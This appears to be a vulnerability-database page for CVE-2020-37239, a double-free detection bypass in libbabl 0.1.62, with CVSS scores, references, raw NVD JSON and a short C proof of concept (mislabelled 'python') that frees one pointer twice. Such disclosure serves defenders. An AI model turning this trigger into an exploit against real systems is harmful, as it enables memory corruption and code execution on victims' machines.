CVE-2020-37239

Description

libbabl 0.1.62 contains a broken double free detection vulnerability that allows attackers to bypass memory safety checks by exploiting signature overwriting in freed chunks. Attackers can call babl_free() twice on the same pointer without triggering detection, as libc's malloc metadata overwrites babl's signature field upon freeing, enabling potential memory corruption and code execution.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

libbabl 0.1.62

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#include <babl/babl.h>
#include <stdio.h>
#include <stdlib.h>

int main() {
    // Initialize the babl library
    babl_init();

    // Allocate memory using the vulnerable library function
    void *ptr = babl_malloc(64);
    printf("Allocated pointer: %p\n", ptr);

    // First free: This triggers the libc free, which overwrites the babl signature
    // with its own metadata (fd/bk pointers).
    babl_free(ptr);
    printf("Freed pointer for the first time.\n");

    // Second free: Due to the signature overwrite, the double free detection
    // logic in babl_free() is bypassed, leading to a Double Free vulnerability.
    printf("Attempting second free...\n");
    babl_free(ptr);

    printf("Exploit successful: Double free detection bypassed.\n");
    
    babl_exit();
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2020-37239
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2020-37239
[3] CVE Details https://www.cvedetails.com/cve/CVE-2020-37239/
[4] VulDB https://vuldb.com/cve/CVE-2020-37239
[5] https://www.exploit-db.com/exploits/49259
[6] https://www.gegl.org
[7] https://www.gegl.org/babl/
[8] https://www.vulncheck.com/advisories/libbabl-broken-double-free-detection-memory-safety

Raw JSON Data

JSON

{"cve": {"id": "CVE-2020-37239", "sourceIdentifier": "[email protected]", "published": "2026-05-16T16:16:20.097", "lastModified": "2026-05-18T20:16:36.607", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "libbabl 0.1.62 contains a broken double free detection vulnerability that allows attackers to bypass memory safety checks by exploiting signature overwriting in freed chunks. Attackers can call babl_free() twice on the same pointer without triggering detection, as libc's malloc metadata overwrites babl's signature field upon freeing, enabling potential memory corruption and code execution."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-415"}]}], "references": [{"url": "https://www.exploit-db.com/exploits/49259", "source": "[email protected]"}, {"url": "https://www.gegl.org", "source": "[email protected]"}, {"url": "https://www.gegl.org/babl/", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/libbabl-broken-double-free-detection-memory-safety", "source": "[email protected]"}]}}